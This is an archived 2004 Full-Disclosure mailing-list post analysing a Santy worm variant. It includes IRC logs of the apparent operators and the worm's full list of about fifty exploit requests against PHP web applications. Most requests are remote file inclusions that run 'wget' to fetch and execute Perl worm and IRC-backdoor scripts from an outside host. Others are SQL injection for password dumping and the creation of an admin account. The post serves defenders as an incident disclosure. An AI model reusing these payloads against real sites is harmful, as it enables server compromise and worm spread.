

[Full-Disclosure] Santy Variant attacking about 50 PHP-applications

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-01/0050.html>

From: peter dudikoff (licht77_at_gmx.net)

Date: 12/31/04

Date: Fri, 31 Dec 2004 20:23:52 +0100 (MET)

To: full-disclosure@lists.netsys.com

Hi!

There is a Worm pending around trying about 50 exploits in php applications... like a further developed Santy Worm... The author calls himself "POERSCHKE" and seems to cooperation with a guy called "_CaKe_".

After having triggered my IDS I started investigating a little bit about an attack from 216.40.250.46.

There were several attempts to inject those two scripts:
<http://www.5wk.com/spybot> (A irc-backdoor written in perl) and
<http://www.5wk.com/spyworm1> (a Santy.C variant)
Both scripts were backed up for further investigation.

The irc-backdoor connects to the irc - server redex.a.la:65100 and joins channel #perl. Both "hackers" where online there and minutes later _CaKe_ tried to send a uname -a to test if his exploit worked.

Here is the irc - log from the #perl channel:

```
#####  
*** Now talking in #perl.  
*** Topic of #perl: (null)  
*** Set by ChanServ 342 minutes ago  
*** Users on #perl: spyki spykids30 spykids34 spykids9406 spykids5011  
spykids461 @_CaKe_ spykids6589 @poerschke spykids7005 spykids9519  
spykids6596 spykids9187 spykids774 spykids9784 spykids9720 spykids6  
spykids6178 spykids7529 spykids4794 spykids5450 spykids7100 spykids7121  
spykids9689 spykids5279 spykids5165 spykids4791 spykids3130 spykids1510  
spykids4720 spykids3150 spykids8859 spykids1643 spykids1046 spykids4725  
spykids9918 spykids5475  
*** Users on #perl: spykids3669 spykids5060 spykids6974 spykids9573  
spykids741 spykids6260 spykids3661 spykids5003 spykids4163 spykids7889  
spykids206889 spykids4149 spykids9093 spykids9073 spykids592 spykids4998  
spykids5171 spykids9141 spykids9849 spykids8147 spykids4435 spykids5205
```

Full-Disclosure: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
spykids4381 spykids4882 spykids7594 spykids9402 spykids3727 spykids559
spykids4988 spykids4384 spykids3059 spykids767 spykids9807 spykids4538
spykids5747 spykids5508
*** Users on #perl: spykids5270 spykids6211 spykids4596 spykids4751
spykids2806 spykids722 spykids9242 spykids9485 spykids5134 spykids3559
spykids2395 spykids3874 spykids5499 spykids1654 spykids4516 spykids
*** End of /NAMES list.
*** Mode for channel #perl is "+sntr"
*** Channel #perl was created at Tue Dec 28 19:31:18 2004
*** _CaKe_ is blabla@ROXnet-4CB7E0A9.user.veloxzone.com.br (blablabla)
*** on channels: @#perl
*** on irc via server hub5.roxnet.org (SSHWorms R0xNet Server)
*** poerschke is fhjfgj@ROXnet-66754DA0.smace7006.dsl.brasiltelecom.net.br
(%t7DS)
*** poerschke has is a registered nick
*** on channels: #staff @#perl
*** on irc via server hub8.roxnet.org (SSHWorms R0xNet Server)
*** poerschke is a Network Administrator
*** poerschke is available for help.
*** poerschke has been idle 86 minutes, signed on at Fri Dec 31 14:32:31
2004
#####
```

User poerschke also idles in channel "staff", together with nick "ssh":

```
#####
*** Now talking in #staff.
*** Topic of #staff: !!!!! Use this channel for Talk !!!!!
*** Set by ssh 8291 minutes ago
*** Users on #staff: spyki poerschke @ssh
*** End of /NAMES list.
*** Mode for channel #staff is "+ntr"
*** Channel #staff was created at Tue Dec 28 19:15:16 2004
*** ssh is ssh@ssh.Worm.B (Se fu ??? e dai ??)
*** ssh has is a registered nick
*** on channels: @#staff @#Virus
*** on irc via server hub8.roxnet.org (SSHWorms R0xNet Server)
*** ssh is away: sai ] [desde: 22:59 page: on
*** ssh is a Network Administrator
*** ssh has been idle 292 minutes, signed on at Tue Dec 28 21:08:26 2004
#####
```

As you can see, both "hackers" *seem* to be from Brazil – but this could also be faked of course.

This here is an array with the exploits the worm tries to execute:

```
$lista[0] =
'/modules/My_eGallery/public/displayCategory.php?basepath=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[1] =
```

Full-Disclosure: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[2] =
'/include/new-visitor.inc.php?lvc_include_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[3] = '/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[4] =
'/cpcommerce/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[5] =
'/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[6] =
'/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[7] = '/ashnews.php?pathtoashnews=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[8] =
'/eblog/blog.inc.php?xoopsConfig[xoops_url]=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[9] = '/pm/lib.inc.php?pm_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[10] = '/b2-tools/gm-2-b2.php?b2inc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[11] =
'/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[12] =
'/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[13] =
'/includes/include_once.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[14] =
'/e107/e107_handlers/secure_img_render.php?p=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[15] = '/shoutbox/expanded.php?conf=http://www.5wk.com/spy.gif?&cmd=cd
```

Full-Disclosure: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[16] =
'/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_auth
$lista[17] =
'/admin.php?op=AddAuthor&add_aid=cake&add_name=God&add_pwd=brasnet&add_email=foo@bar.com&add_rad
$lista[18] = '/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[19] =
'/myPHPCalendar/admin.php?cal_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[20] = '/index.php/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[21] = '/index.php?include=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[22] = '/index.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[23] = '/index.php?open=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[24] = '/index.php?visualizar=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[25] = '/template.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[26] = '/index.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[27] = '/index.php?inc=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[28] =
'/includes/include_onde.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[29] = '/index.php?page=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[30] = '/index.php?pg=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[31] = '/index.php?show=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[32] = '/index.php?cat=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[33] = '/index.php?file=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
$lista[34] = '/db.php?path_local=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[35] = '/index.php?site=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1:perl spyworm1;wget http://www.5wk.com/spybot';
```

Full-Disclosure: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
$lista[36] = '/htmltonuke.php?filnavn=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[37] =
'/livehelp/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[38] = '/hcl/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[39] = '/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[40] =
'/support/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[41] =
'/help/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[42] =
'/helpcenter/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[43] =
'/live-support/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[44] = '/gnu3/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[45] = '/gnu/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[46] =
'/phpgwapi/setup/tables_update.inc.php?appdir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[47] =
'/includes/calendar.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[48] =
'/includes/setup.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[49] =
'/inc/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot';
$lista[50] =
```

Full-Disclosure: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/'include/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd  
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget  
http://www.5wk.com/spybot';
```

So PLEASE review your webapplications and patch them... its not necessary
that those old bugs are still that popular!

Greetz, Licht77

--

+++ GMX - die erste Adresse für Mail, Message, More +++
1 GB Mailbox bereits in GMX FreeMail <http://www.gmx.net/de/qo/mail>

Full-Disclosure - We believe in it.
Charter: <http://lists.netsys.com/full-disclosure-charter.html>